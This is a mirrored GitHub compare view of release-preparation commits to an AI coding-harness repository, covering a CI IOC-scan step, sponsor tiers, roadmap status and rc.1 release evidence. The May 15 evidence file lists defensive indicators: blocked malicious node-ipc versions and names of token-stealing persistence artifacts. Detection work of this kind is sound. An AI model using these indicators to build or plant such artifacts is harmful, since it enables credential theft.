mirror of
https://github.com/affaan-m/everything-claude-code.git
synced 2026-05-18 14:53:05 +08:00
Compare commits
17 Commits
f7315016c0
...
1c079908e2
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
1c079908e2 | ||
|
|
1f901ab582 | ||
|
|
acbc152375 | ||
|
|
13585f1092 | ||
|
|
ee85e1482e | ||
|
|
5b9acd1d92 | ||
|
|
f04702bdac | ||
|
|
4774946db5 | ||
|
|
c211791e95 | ||
|
|
e8e9df52a6 | ||
|
|
5349d991c2 | ||
|
|
381e6cd16a | ||
|
|
8af4b5dafb | ||
|
|
9af04f3965 | ||
|
|
4546a2c144 | ||
|
|
8cfadfea28 | ||
|
|
e2992860ae |
3
.github/workflows/release.yml
vendored
3
.github/workflows/release.yml
vendored
@@ -29,6 +29,9 @@ jobs:
|
||||
- name: Install dependencies
|
||||
run: npm ci --ignore-scripts
|
||||
|
||||
- name: Run supply-chain IOC scan
|
||||
run: npm run security:ioc-scan
|
||||
|
||||
- name: Verify OpenCode package payload
|
||||
run: node tests/scripts/build-opencode.test.js
|
||||
|
||||
|
||||
3
.github/workflows/reusable-release.yml
vendored
3
.github/workflows/reusable-release.yml
vendored
@@ -53,6 +53,9 @@ jobs:
|
||||
- name: Install dependencies
|
||||
run: npm ci --ignore-scripts
|
||||
|
||||
- name: Run supply-chain IOC scan
|
||||
run: npm run security:ioc-scan
|
||||
|
||||
- name: Verify OpenCode package payload
|
||||
run: node tests/scripts/build-opencode.test.js
|
||||
|
||||
|
||||
37
README.md
37
README.md
@@ -19,7 +19,7 @@
|
||||

|
||||

|
||||
|
||||
> **140K+ stars** | **21K+ forks** | **170+ contributors** | **12+ language ecosystems** | **Anthropic Hackathon Winner**
|
||||
> **182K+ stars** | **28K+ forks** | **170+ contributors** | **12+ language ecosystems** | **Anthropic Hackathon Winner**
|
||||
|
||||
---
|
||||
|
||||
@@ -42,6 +42,41 @@ Works across **Claude Code**, **Codex**, **Cursor**, **OpenCode**, **Gemini**, *
|
||||
|
||||
ECC v2.0.0-rc.1 adds the public Hermes operator story on top of that reusable layer: start with the [Hermes setup guide](docs/HERMES-SETUP.md), then review the [rc.1 release notes](docs/releases/2.0.0-rc.1/release-notes.md) and [cross-harness architecture](docs/architecture/cross-harness.md).
|
||||
|
||||
|
||||
---
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td width="25%" align="center">
|
||||
<a href="https://ecc.tools/pricing">
|
||||
<strong> ECC Pro</strong><br />
|
||||
<sub>Private repos · GitHub App · $19/seat/mo</sub>
|
||||
</a>
|
||||
</td>
|
||||
<td width="25%" align="center">
|
||||
<a href="https://github.com/sponsors/affaan-m">
|
||||
<strong> Sponsor</strong><br />
|
||||
<sub>Fund the OSS · From $5/mo</sub>
|
||||
</a>
|
||||
</td>
|
||||
<td width="25%" align="center">
|
||||
<a href="https://github.com/affaan-m/everything-claude-code/discussions">
|
||||
<strong>Community</strong>
|
||||
<br />
|
||||
<sub>Discussions · Q&A · Show & Tell</sub>
|
||||
</a>
|
||||
</td>
|
||||
<td width="25%" align="center">
|
||||
<a href="https://github.com/apps/ecc-tools">
|
||||
<strong> GitHub App</strong><br />
|
||||
<sub>Install · PR audits · Free tier</sub>
|
||||
</a>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
<sub>**OSS stays free.** This repo is MIT-licensed forever. ECC Pro is the hosted GitHub App for private repos. <a href="https://github.com/sponsors/affaan-m">Sponsors</a> and <a href="https://ecc.tools/pricing">Pro subscribers</a> fund the work — that's why a single maintainer ships weekly across 7 harnesses.</sub>
|
||||
|
||||
---
|
||||
|
||||
## The Guides
|
||||
|
||||
93
SPONSORS.md
93
SPONSORS.md
@@ -1,59 +1,76 @@
|
||||
# Sponsors
|
||||
|
||||
Thank you to everyone who sponsors this project! Your support keeps the ECC ecosystem growing.
|
||||
Thank you to everyone funding ECC's open-source work. Your sponsorship is what lets the OSS layer stay free while the GitHub App, hosted security scans, and continuous improvements ship every week.
|
||||
|
||||
## Enterprise Sponsors
|
||||
## Enterprise Sponsors — $2,500/mo
|
||||
|
||||
*Become an [Enterprise sponsor](https://github.com/sponsors/affaan-m) to be featured here*
|
||||
*Become an [Enterprise sponsor](https://github.com/sponsors/affaan-m) to be featured here.*
|
||||
|
||||
## Business Sponsors
|
||||
## Business Sponsors — $500/mo
|
||||
|
||||
*Become a [Business sponsor](https://github.com/sponsors/affaan-m) to be featured here*
|
||||
| Sponsor | Logo | Since |
|
||||
|---------|------|-------|
|
||||
| [**CodeRabbit**](https://coderabbit.ai) | <img src="https://avatars.githubusercontent.com/u/132028505?s=120" width="60" alt="CodeRabbit" /> | 2026 |
|
||||
|
||||
## Team Sponsors
|
||||
*[Become a Business sponsor](https://github.com/sponsors/affaan-m) to be featured here with logo placement in the main README hero and a quarterly case study.*
|
||||
|
||||
*Become a [Team sponsor](https://github.com/sponsors/affaan-m) to be featured here*
|
||||
## Team Sponsors — $200/mo
|
||||
|
||||
## Individual Sponsors
|
||||
| Sponsor | Since |
|
||||
|---------|-------|
|
||||
| [Mike Morgan](https://github.com/mikejmorgan-ai) | 2026 |
|
||||
|
||||
*Become a [sponsor](https://github.com/sponsors/affaan-m) to be listed here*
|
||||
*[Become a Team sponsor](https://github.com/sponsors/affaan-m) to get small logo placement and 5 ECC Pro seats.*
|
||||
|
||||
## Pro Sponsors — $50/mo
|
||||
|
||||
*[Become a Pro sponsor](https://github.com/sponsors/affaan-m) to be listed here with your name in the main README sponsor row.*
|
||||
|
||||
## Builder Sponsors — $25/mo
|
||||
|
||||
- @jasonwu513 (grandfathered at $10)
|
||||
- @1anter (grandfathered at $10)
|
||||
- @massimotodaro (grandfathered at $10)
|
||||
- @meadmccabe (grandfathered at $10)
|
||||
|
||||
*[Become a Builder sponsor](https://github.com/sponsors/affaan-m) to support the project and get your name in this list + a private monthly progress note.*
|
||||
|
||||
## Supporters — $5/mo
|
||||
|
||||
*[Become a Supporter](https://github.com/sponsors/affaan-m) to back the project with a profile badge and a thank-you in our release notes.*
|
||||
|
||||
---
|
||||
|
||||
## Sponsorship Tiers
|
||||
|
||||
| Tier | Monthly | Perks |
|
||||
|------|--------:|-------|
|
||||
| Supporter | $5 | Sponsor badge on profile, thank-you in release notes |
|
||||
| Builder | $25 | Above + name in SPONSORS.md + private monthly progress note |
|
||||
| Pro Sponsor | $50 | Above + name in main README + 1 quarterly roadmap vote |
|
||||
| Team | $200 | Above + small org logo in README + 5 ECC Pro seats |
|
||||
| Business | $500 | Above + featured logo in README hero + quarterly case study + Discord sponsors-lounge access |
|
||||
| Enterprise | $2,500 | Above + unlimited Pro seats + 30 min/mo founder time + SLA + dedicated channel |
|
||||
|
||||
[**Become a Sponsor →**](https://github.com/sponsors/affaan-m)
|
||||
|
||||
For corporate sponsorship inquiries, custom partnerships, or PR integrations, email **affaan@ecc.tools** with your company name and intended tier. We'll move fast — most agreements close within 48 hours.
|
||||
|
||||
---
|
||||
|
||||
## Why Sponsor?
|
||||
|
||||
Your sponsorship helps:
|
||||
Your sponsorship directly funds:
|
||||
|
||||
- **Ship faster** — More time dedicated to building tools and features
|
||||
- **Keep it free** — Premium features fund the free tier for everyone
|
||||
- **Better support** — Sponsors get priority responses
|
||||
- **Shape the roadmap** — Pro+ sponsors vote on features
|
||||
- **OSS work that stays free** — the core repo, AgentShield, install scripts, and skills library remain MIT
|
||||
- **Weekly releases** — full-time work on the harness, not a side project
|
||||
- **Independent maintenance** — no acquisition pressure, no rug pulls, no enshittification
|
||||
- **Sponsor-driven roadmap** — Pro+ sponsors vote on direction, Business+ get case studies and integration support
|
||||
|
||||
## Sponsor Readiness Signals
|
||||
## Existing Sponsors Are Grandfathered
|
||||
|
||||
Use these proof points in sponsor conversations:
|
||||
|
||||
- Live npm install/download metrics for `ecc-universal` and `ecc-agentshield`
|
||||
- GitHub App distribution via Marketplace installs
|
||||
- Public adoption signals: stars, forks, contributors, release cadence
|
||||
- Cross-harness support: Claude Code, Cursor, OpenCode, Codex app/CLI
|
||||
|
||||
See [`docs/business/metrics-and-sponsorship.md`](docs/business/metrics-and-sponsorship.md) for a copy/paste metrics pull workflow.
|
||||
|
||||
## Sponsor Tiers
|
||||
|
||||
| Tier | Price | Benefits |
|
||||
|------|-------|----------|
|
||||
| Supporter | $5/mo | Name in README, early access |
|
||||
| Builder | $10/mo | Premium tools access |
|
||||
| Pro | $25/mo | Priority support, office hours |
|
||||
| Team | $100/mo | 5 seats, team configs |
|
||||
| Harness Partner | $200/mo | Monthly roadmap sync, prioritized maintainer feedback, release-note mention |
|
||||
| Business | $500/mo | 25 seats, consulting credit |
|
||||
| Enterprise | $2K/mo | Unlimited seats, custom tools |
|
||||
|
||||
[**Become a Sponsor →**](https://github.com/sponsors/affaan-m)
|
||||
If you sponsored before May 2026, you keep your original perks at your original price. New tiers apply to new sponsors only.
|
||||
|
||||
---
|
||||
|
||||
*Updated automatically. Last sync: February 2026*
|
||||
*Auto-updated by Hermes on every release. Last sync: 2026-05-14*
|
||||
|
||||
@@ -1,36 +1,39 @@
|
||||
# ECC 2.0 GA Roadmap
|
||||
|
||||
This roadmap is the durable repo mirror for the Linear project:
|
||||
This roadmap is the durable repo mirror for the active Linear project:
|
||||
|
||||
<https://linear.app/ecctools/project/ecc-20-ga-harness-os-security-platform-de2a0ecace6f>
|
||||
<https://linear.app/itomarkets/project/ecc-platform-roadmap-52b328ee03e1>
|
||||
|
||||
Linear issue creation is currently blocked by the workspace active issue limit,
|
||||
so the live execution truth is split across:
|
||||
Linear issue creation is available again in the Ito Markets workspace. The live
|
||||
execution truth is split across:
|
||||
|
||||
- the Linear project description, status updates, and milestones;
|
||||
- the Linear project documents, issue lanes, dependencies, and milestones;
|
||||
- this repo document;
|
||||
- merged PR evidence;
|
||||
- handoffs under `~/.cluster-swarm/handoffs/`.
|
||||
|
||||
## Current Evidence
|
||||
|
||||
As of 2026-05-13:
|
||||
As of 2026-05-15:
|
||||
|
||||
- GitHub queues are clean across `affaan-m/everything-claude-code`,
|
||||
`affaan-m/agentshield`, `affaan-m/JARVIS`, `ECC-Tools/ECC-Tools`, and
|
||||
`ECC-Tools/ECC-website`: the latest sweep found 0 open PRs and 0 open
|
||||
issues across all five repos.
|
||||
- GitHub discussions are also clean across those tracked repos:
|
||||
the latest GraphQL sweep found 52 total trunk discussions with 0 open,
|
||||
and 0 total/open discussions on AgentShield, JARVIS, ECC-Tools, and the
|
||||
ECC-Tools website.
|
||||
- The final open public GitHub issue, #1314, was closed as a non-actionable
|
||||
external badge/listing notification with a courtesy comment.
|
||||
- Linear issue creation for this project was re-tested after GitHub cleanup and
|
||||
is still blocked by the workspace free issue limit. Seven roadmap-lane issue
|
||||
creation attempts all returned the same limit error, so this repo mirror and
|
||||
Linear project status updates remain the active tracking surfaces until the
|
||||
workspace is upgraded or issue capacity is freed.
|
||||
`ECC-Tools/ECC-website`: the latest sweep found 0 open PRs and 0 open issues
|
||||
across all five repos. ECC Tools org verification requires
|
||||
`env -u GITHUB_TOKEN` in this shell so the configured GitHub host credential
|
||||
is used instead of the incompatible environment token.
|
||||
- GitHub discussions are current across those tracked repos:
|
||||
`affaan-m/everything-claude-code` has 57 total discussions and 0 without
|
||||
maintainer touch after May 15 maintainer updates on #73 and #1239; AgentShield,
|
||||
JARVIS, ECC Tools, and the ECC Tools website have discussions disabled or 0
|
||||
total discussions.
|
||||
- The current Linear roadmap contains 16 issue lanes (`ITO-44` through
|
||||
`ITO-59`) and five milestones: Security and Access Baseline, ECC 2.0 Preview
|
||||
and Publication, AgentShield Enterprise Iteration, ECC Tools Next-Level
|
||||
Platform, and Legacy Audit and Salvage.
|
||||
- `docs/releases/2.0.0-rc.1/publication-evidence-2026-05-15.md` records the
|
||||
queue, discussion, Linear roadmap, ECC Tools access, and PR #1921
|
||||
Mini Shai-Hulud/TanStack follow-up evidence refresh.
|
||||
- `npm run harness:audit -- --format json` reports 70/70 on current `main`.
|
||||
- `npm run observability:ready` reports 21/21 readiness on current `main`,
|
||||
including the GitHub/Linear/handoff/roadmap progress-sync contract.
|
||||
|
||||
@@ -5,7 +5,7 @@ Use these templates as launch-ready starting points. Review channel tone before
|
||||
## X Post: Release Announcement
|
||||
|
||||
```text
|
||||
ECC v2.0.0-rc.1 is live.
|
||||
ECC v2.0.0-rc.1 preview pack is ready for final release review.
|
||||
|
||||
The repo is moving from a Claude Code config pack into a cross-harness operating system for agentic work.
|
||||
|
||||
@@ -55,7 +55,7 @@ ECC v2.0.0-rc.1 pushes that further: reusable skills, thin harness adapters, and
|
||||
## LinkedIn Post: Partner-Friendly Summary
|
||||
|
||||
```text
|
||||
ECC v2.0.0-rc.1 is live.
|
||||
ECC v2.0.0-rc.1 preview pack is ready for final release review.
|
||||
|
||||
The practical shift: ECC is no longer just a Claude Code config pack. It is becoming a cross-harness operating system for agentic work.
|
||||
|
||||
|
||||
@@ -4,9 +4,13 @@
|
||||
|
||||
- verify local `main` is synced to `origin/main`
|
||||
- verify `docs/ECC-2.0-GA-ROADMAP.md` reflects the current Linear milestone plan
|
||||
and the May 15 `ECC Platform Roadmap` project under the Ito Markets workspace
|
||||
- verify `docs/HERMES-SETUP.md` is present
|
||||
- verify `docs/architecture/cross-harness.md` is present
|
||||
- verify this release directory is committed
|
||||
- verify `preview-pack-manifest.md` lists the public release, Hermes, adapter,
|
||||
observability, publication, and announcement artifacts before running final
|
||||
publish checks
|
||||
- keep private tokens, personal docs, and raw workspace exports out of the repo
|
||||
|
||||
## Release Surface
|
||||
@@ -14,6 +18,8 @@
|
||||
- verify package, plugin, marketplace, OpenCode, and agent metadata stays at `2.0.0-rc.1`
|
||||
- verify `ecc2/Cargo.toml` stays at `0.1.0` for rc.1; `ecc2/` remains an alpha control-plane scaffold
|
||||
- complete `publication-readiness.md` with fresh evidence before any GitHub release, npm publish, plugin submission, or announcement post
|
||||
- include `publication-evidence-2026-05-15.md` in the final evidence review,
|
||||
then rerun publish-facing checks from the exact release commit
|
||||
- update release metadata in one dedicated release-version PR
|
||||
- run the root test suite
|
||||
- run `cd ecc2 && cargo test`
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# LinkedIn Draft - ECC v2.0.0-rc.1
|
||||
|
||||
ECC v2.0.0-rc.1 is live as the first release-candidate pass at the 2.0 direction.
|
||||
ECC v2.0.0-rc.1 is ready for final release review as the first release-candidate pass at the 2.0 direction.
|
||||
|
||||
The practical shift is simple: ECC is no longer framed as only a Claude Code plugin or config bundle.
|
||||
|
||||
|
||||
97
docs/releases/2.0.0-rc.1/preview-pack-manifest.md
Normal file
97
docs/releases/2.0.0-rc.1/preview-pack-manifest.md
Normal file
@@ -0,0 +1,97 @@
|
||||
# ECC v2.0.0-rc.1 Preview Pack Manifest
|
||||
|
||||
This manifest defines the reviewed preview pack for `2.0.0-rc.1`. It is not a
|
||||
release action by itself. Use it to verify that the public launch surface is
|
||||
assembled before creating the GitHub prerelease, publishing npm, tagging plugin
|
||||
surfaces, or posting announcements.
|
||||
|
||||
## Pack Contents
|
||||
|
||||
| Artifact | Role | Gate |
|
||||
| --- | --- | --- |
|
||||
| `README.md` | Public onramp and install surface | Links Hermes setup, rc.1 notes, plugin install, manual install, reset, and uninstall guidance |
|
||||
| `docs/HERMES-SETUP.md` | Public Hermes operator topology | No raw workspace export, credentials, private account names, or local-only operator state |
|
||||
| `skills/hermes-imports/SKILL.md` | Sanitized Hermes-to-ECC import workflow | Includes import rules, sanitization checklist, conversion pattern, and output contract |
|
||||
| `docs/architecture/cross-harness.md` | Shared substrate model for Claude Code, Codex, OpenCode, Cursor, Gemini, Hermes, and terminal-only use | Names portability boundaries and does not claim unsupported native parity |
|
||||
| `docs/architecture/harness-adapter-compliance.md` | Adapter matrix and scorecard | Verified by `npm run harness:adapters -- --check` |
|
||||
| `docs/architecture/observability-readiness.md` | Local operator-readiness gate | Verified by `npm run observability:ready` |
|
||||
| `docs/architecture/progress-sync-contract.md` | GitHub, Linear, handoff, roadmap, and work-item sync boundary | Checked by `node scripts/platform-audit.js --format json --allow-untracked docs/drafts/` |
|
||||
| `docs/releases/2.0.0-rc.1/release-notes.md` | GitHub release copy source | Must be refreshed with final live release/package/plugin URLs before publication |
|
||||
| `docs/releases/2.0.0-rc.1/quickstart.md` | Clone-to-first-workflow path | Covers clone, install, verify, first skill, and harness switch |
|
||||
| `docs/releases/2.0.0-rc.1/launch-checklist.md` | Operator launch checklist | Must remain approval-gated for release, package, plugin, and announcement actions |
|
||||
| `docs/releases/2.0.0-rc.1/publication-readiness.md` | Release gate | Requires fresh evidence from the exact release commit |
|
||||
| `docs/releases/2.0.0-rc.1/publication-evidence-2026-05-15.md` | Current May 15 queue, roadmap, security, and AgentShield evidence | Must be superseded by a final clean-checkout evidence file before real publication |
|
||||
| `docs/releases/2.0.0-rc.1/naming-and-publication-matrix.md` | Naming, slug, and publication-path decision record | Keeps `Everything Claude Code / ECC`, npm `ecc-universal`, and plugin slug `ecc` for rc.1 |
|
||||
| `docs/releases/2.0.0-rc.1/x-thread.md` | X launch draft | Must replace placeholders with live URLs after release/package/plugin publication |
|
||||
| `docs/releases/2.0.0-rc.1/linkedin-post.md` | LinkedIn launch draft | Must replace placeholders with live URLs after release/package/plugin publication |
|
||||
| `docs/releases/2.0.0-rc.1/article-outline.md` | Longform launch outline | Must stay release-candidate framed until GA evidence exists |
|
||||
| `docs/releases/2.0.0-rc.1/telegram-handoff.md` | Internal/shareable handoff copy | Must not include private workspace or credential details |
|
||||
| `docs/releases/2.0.0-rc.1/demo-prompts.md` | Demo prompts and proof-of-work prompts | Must keep private Hermes workflows abstracted into public examples |
|
||||
|
||||
## Hermes Skill Boundary
|
||||
|
||||
The preview pack includes one public Hermes-specialized skill:
|
||||
|
||||
- `skills/hermes-imports/SKILL.md`
|
||||
|
||||
That is intentional for rc.1. The skill is a sanitization and conversion
|
||||
workflow, not a dump of private Hermes automations. Additional Hermes-generated
|
||||
skills should enter ECC only after they pass the same rules:
|
||||
|
||||
- no raw workspace exports;
|
||||
- no live account names, client data, finance data, CRM data, health data, or
|
||||
private contact graph;
|
||||
- provider requirements described by capability, not by secret value;
|
||||
- repo-relative examples instead of local absolute paths;
|
||||
- tests or docs proving the workflow is useful without private state.
|
||||
|
||||
## Reference-Inspired Adapter Direction
|
||||
|
||||
The preview pack uses outside systems as design pressure, not as copy targets:
|
||||
|
||||
| Reference pressure | ECC preview-pack interpretation |
|
||||
| --- | --- |
|
||||
| Claude Code | Native plugin, skills, commands, hooks, MCP conventions, and statusline-oriented workflows |
|
||||
| Codex | Instruction-backed plugin metadata, shared skills, MCP reference config, and explicit hook-parity caveats |
|
||||
| OpenCode | Adapter-backed package/plugin surface with shared hook logic at the edge |
|
||||
| Zed-adjacent tools | Instruction-backed portability until a verified native adapter exists |
|
||||
| dmux | Session/runtime orchestration signals and handoff exports, not a replacement for repo validation |
|
||||
| Orca, Superset, Ghast | Reference-only pressure for worktree lifecycle, session grouping, notifications, and workspace presets |
|
||||
| Hermes Agent, meta-harness, autocontext-style systems | Evaluation, memory, and context-routing pressure routed through public artifacts, verifier outputs, and the evaluator/RAG prototype |
|
||||
|
||||
## Final Verification Commands
|
||||
|
||||
Run these from the exact release commit before publication:
|
||||
|
||||
```bash
|
||||
git status --short --branch
|
||||
node scripts/platform-audit.js --format json --allow-untracked docs/drafts/
|
||||
npm run harness:adapters -- --check
|
||||
npm run harness:audit -- --format json
|
||||
npm run observability:ready
|
||||
npm run security:ioc-scan
|
||||
npm audit --audit-level=high
|
||||
npm audit signatures
|
||||
node tests/docs/ecc2-release-surface.test.js
|
||||
node tests/run-all.js
|
||||
cd ecc2 && cargo test
|
||||
```
|
||||
|
||||
## Publication Blockers
|
||||
|
||||
The preview pack is assembled, but publication is still blocked until these live
|
||||
surfaces exist and are recorded in a final evidence file:
|
||||
|
||||
- GitHub prerelease `v2.0.0-rc.1`;
|
||||
- npm `ecc-universal@2.0.0-rc.1` on the `next` dist-tag;
|
||||
- Claude plugin tag / marketplace propagation for `ecc@ecc`;
|
||||
- Codex plugin publication or owner-approved manual submission path;
|
||||
- final announcement URLs in X, LinkedIn, GitHub release, and longform copy;
|
||||
- ECC Tools billing/product readiness evidence before any native-payments
|
||||
announcement copy is published.
|
||||
|
||||
## Result
|
||||
|
||||
The rc.1 preview pack is ready for a final clean-checkout release gate, but not
|
||||
for public publication without the approval-gated release, package, plugin, and
|
||||
announcement steps above.
|
||||
127
docs/releases/2.0.0-rc.1/publication-evidence-2026-05-15.md
Normal file
127
docs/releases/2.0.0-rc.1/publication-evidence-2026-05-15.md
Normal file
@@ -0,0 +1,127 @@
|
||||
# ECC v2.0.0-rc.1 Publication Evidence - 2026-05-15
|
||||
|
||||
This is release-readiness evidence only. It does not create a GitHub release,
|
||||
npm publication, plugin tag, marketplace submission, or announcement post.
|
||||
|
||||
## Source Commit
|
||||
|
||||
| Field | Evidence |
|
||||
| --- | --- |
|
||||
| Upstream main base | `acbc152375c215b4fe2a20abb29dfb733727c4cb` |
|
||||
| Evidence branch | `docs/ecc2-rc1-preview-pack-refresh` |
|
||||
| Evidence scope | Current `main` after PR #1921, #1924, #1925, #1926, and AgentShield #83 follow-up |
|
||||
| Git remote | `https://github.com/affaan-m/everything-claude-code.git` |
|
||||
| Local status caveat | Working tree had the unrelated untracked `docs/drafts/` directory before this docs refresh |
|
||||
|
||||
The actual release operator should repeat all publish-facing checks from the
|
||||
final release commit with a clean checkout before publishing.
|
||||
|
||||
## Queue And Discussion State
|
||||
|
||||
| Surface | Command | Result |
|
||||
| --- | --- | --- |
|
||||
| Trunk PRs/issues | `gh pr list` and `gh issue list` for `affaan-m/everything-claude-code` | 0 open PRs, 0 open issues |
|
||||
| AgentShield PRs/issues | `gh pr list` and `gh issue list` for `affaan-m/agentshield` | 0 open PRs, 0 open issues |
|
||||
| JARVIS PRs/issues | `gh pr list` and `gh issue list` for `affaan-m/JARVIS` | 0 open PRs, 0 open issues |
|
||||
| ECC Tools PRs/issues | `env -u GITHUB_TOKEN gh pr list` and `env -u GITHUB_TOKEN gh issue list` for `ECC-Tools/ECC-Tools` | 0 open PRs, 0 open issues |
|
||||
| ECC website PRs/issues | `env -u GITHUB_TOKEN gh pr list` and `env -u GITHUB_TOKEN gh issue list` for `ECC-Tools/ECC-website` | 0 open PRs, 0 open issues |
|
||||
| Trunk discussions | GraphQL discussion count and maintainer-touch sweep | 58 total discussions; 0 without maintainer touch after May 15 maintainer comments |
|
||||
| Other repo discussions | GraphQL discussion count for AgentShield, JARVIS, ECC Tools, and ECC website | Discussions disabled or 0 total |
|
||||
|
||||
The ECC Tools organization is reachable with the configured GitHub host
|
||||
credential. In this shell, the exported `GITHUB_TOKEN` overrides that credential
|
||||
and causes false 404/403 failures for `ECC-Tools/*`. Use `env -u GITHUB_TOKEN`
|
||||
for ECC Tools verification commands until that environment override is cleaned
|
||||
up.
|
||||
|
||||
## Linear Roadmap State
|
||||
|
||||
The detailed execution roadmap now lives in Linear project:
|
||||
|
||||
<https://linear.app/itomarkets/project/ecc-platform-roadmap-52b328ee03e1>
|
||||
|
||||
The project contains 16 issue-level lanes and 5 milestones:
|
||||
|
||||
| Milestone | Issues |
|
||||
| --- | --- |
|
||||
| Security and Access Baseline | `ITO-44`, `ITO-57`, `ITO-58` |
|
||||
| ECC 2.0 Preview and Publication | `ITO-45`, `ITO-46`, `ITO-47`, `ITO-56` |
|
||||
| AgentShield Enterprise Iteration | `ITO-48`, `ITO-49` |
|
||||
| ECC Tools Next-Level Platform | `ITO-50`, `ITO-51`, `ITO-52`, `ITO-53`, `ITO-54`, `ITO-59` |
|
||||
| Legacy Audit and Salvage | `ITO-55` |
|
||||
|
||||
Project documents added in Linear:
|
||||
|
||||
- Roadmap Index and Current Execution Baseline
|
||||
- Status Update 2026-05-15
|
||||
- GitHub Queue Snapshot 2026-05-15
|
||||
- Completion Audit Snapshot 2026-05-15
|
||||
- Discussion Queue Evidence 2026-05-15
|
||||
- ECC-Tools Access Evidence 2026-05-15
|
||||
|
||||
## Supply-Chain Evidence
|
||||
|
||||
| Surface | Evidence |
|
||||
| --- | --- |
|
||||
| PR #1921 | Merged supply-chain IOC expansion for Mini Shai-Hulud/TanStack follow-up |
|
||||
| Node IPC follow-up / PR #1924 | Added May 14 `node-ipc` malicious-version, hash, DNS, and runtime IOC coverage |
|
||||
| PR #1926 | Added `platform:audit` and `security-ioc-scan` command surfaces plus release workflow IOC gates |
|
||||
| AgentShield PR #83 | Merged Mini Shai-Hulud IOC coverage for TanStack, Mistral, OpenSearch, Guardrails, UiPath, Squawk, Claude Code / VS Code persistence, and dead-man switch artifacts |
|
||||
| Trunk merge commits | `f04702bdac132662c8496e817bcd850c86e2b854`, `ee85e1482e3d6322ddb2706392ea0fc97469bd26`, `13585f1092c92fa3f20ffe0d756e40c5720b0de5` |
|
||||
| AgentShield merge commit | `f899b27ba3fa60ec7e0dca41cc2dadcb1a1fb75d` |
|
||||
| Local IOC tests | `node tests/ci/scan-supply-chain-iocs.test.js` passed 12/12 |
|
||||
| Unicode safety | `node scripts/ci/check-unicode-safety.js` passed |
|
||||
| IOC scan | `npm run security:ioc-scan` passed |
|
||||
| Root suite | `npm test` passed 2427/2427, 0 failed |
|
||||
| Repo sweeps | `node scripts/ci/scan-supply-chain-iocs.js --root <ECC-workspace> --home` passed with 1238 files inspected; targeted persistence path checks found no active `gh-token-monitor`, `pgsql-monitor`, `transformers.pyz`, or `pgmonitor.py` artifacts |
|
||||
|
||||
The May 15 IOC expansion added coverage for OpenSearch/Mistral/Guardrails/
|
||||
UiPath/Squawk-style campaign variants, `opensearch_init.js`, `vite_setup.mjs`,
|
||||
dead-drop/session protocol strings, and AI-tooling persistence surfaces without
|
||||
committing full high-entropy indicators that trip secret scanners.
|
||||
The May 15 node-ipc follow-up blocks `node-ipc@9.1.6`, `9.2.3`, `10.1.1`,
|
||||
`10.1.2`, `11.0.0`, `11.1.0`, and `12.0.1`, plus the `node-ipc.cjs` payload
|
||||
hash, malicious tarball hashes, DNS exfil domains, and runtime markers reported
|
||||
by Socket.
|
||||
AgentShield PR #83 adds the matching scanner-side enterprise coverage:
|
||||
version-pinned package detections, `.claude` / `.vscode` automation-surface
|
||||
discovery, `gh-token-monitor` LaunchAgent/systemd/local-bin artifact detection,
|
||||
network/payload IOCs, built action/CLI bundles, 1758/1758 local tests, and
|
||||
green GitHub Actions verification before merge.
|
||||
|
||||
## Preview Pack State
|
||||
|
||||
`preview-pack-manifest.md` now assembles the rc.1 preview-pack boundary:
|
||||
|
||||
- release notes, quickstart, launch checklist, publication readiness, naming
|
||||
matrix, and May 15 evidence;
|
||||
- `docs/HERMES-SETUP.md` and `skills/hermes-imports/SKILL.md` as the public
|
||||
Hermes-specialized surface;
|
||||
- cross-harness, harness-adapter, observability, and progress-sync docs;
|
||||
- X, LinkedIn, article, Telegram, and demo collateral that must receive final
|
||||
live URLs after release/package/plugin publication;
|
||||
- explicit blockers for GitHub release, npm `next` publish, Claude plugin,
|
||||
Codex plugin, ECC Tools billing/product-readiness, and announcements.
|
||||
|
||||
The preview pack is assembled for final clean-checkout gating, but it is still
|
||||
not a publication action.
|
||||
|
||||
## Current Publication Blockers
|
||||
|
||||
- GitHub prerelease `v2.0.0-rc.1` is still not created in this pass.
|
||||
- npm `ecc-universal@2.0.0-rc.1` is still not published to the `next` dist-tag.
|
||||
- Claude plugin tag and marketplace propagation remain approval-gated.
|
||||
- Codex plugin public marketplace/manual submission path still needs final
|
||||
owner verification.
|
||||
- ECC Tools billing claims are now GitHub-access-verifiable, but the billing
|
||||
product surface still needs a dedicated payment-readiness audit before any
|
||||
public payment announcement.
|
||||
- Release notes, X, LinkedIn, and longform copy still need final live URLs after
|
||||
release/package/plugin URLs exist.
|
||||
|
||||
## Result
|
||||
|
||||
The queue, discussion, Linear roadmap, and supply-chain evidence are fresher
|
||||
than the May 13 publication evidence. They improve readiness, but they do not
|
||||
replace the final clean-checkout publish pass required by
|
||||
`publication-readiness.md`.
|
||||
@@ -6,12 +6,17 @@ URLs from the exact commit being released.
|
||||
|
||||
For the current rc.1 naming decision and package/plugin publication path, see
|
||||
[`naming-and-publication-matrix.md`](naming-and-publication-matrix.md).
|
||||
For the assembled rc.1 preview pack boundary, see
|
||||
[`preview-pack-manifest.md`](preview-pack-manifest.md).
|
||||
For the May 12 dry-run evidence pass, see
|
||||
[`publication-evidence-2026-05-12.md`](publication-evidence-2026-05-12.md).
|
||||
For the May 13 release-readiness evidence refresh, see
|
||||
[`publication-evidence-2026-05-13.md`](publication-evidence-2026-05-13.md).
|
||||
For the May 13 post-hardening evidence refresh after PR #1850 and PR #1851, see
|
||||
[`publication-evidence-2026-05-13-post-hardening.md`](publication-evidence-2026-05-13-post-hardening.md).
|
||||
For the May 15 queue, discussion, Linear roadmap, and Mini Shai-Hulud/TanStack
|
||||
follow-up evidence refresh after PR #1921, see
|
||||
[`publication-evidence-2026-05-15.md`](publication-evidence-2026-05-15.md).
|
||||
|
||||
## Release Identity Matrix
|
||||
|
||||
@@ -39,8 +44,8 @@ For the May 13 post-hardening evidence refresh after PR #1850 and PR #1851, see
|
||||
| Claude plugin | Manifest validates, marketplace JSON points to public repo, install docs match slug | `claude plugin validate .claude-plugin/plugin.json`; `claude plugin tag .claude-plugin --dry-run`; isolated temp-home install smoke | `Blocker: real tag creation/push requires approval` | Plugin owner | Clean-checkout dry-run and install smoke recorded |
|
||||
| Codex plugin | Manifest version matches package and docs, hook limitations are explicit | `node tests/docs/ecc2-release-surface.test.js` | `Blocker: marketplace submission path still manual/owner-gated` | Plugin owner | Evidence recorded |
|
||||
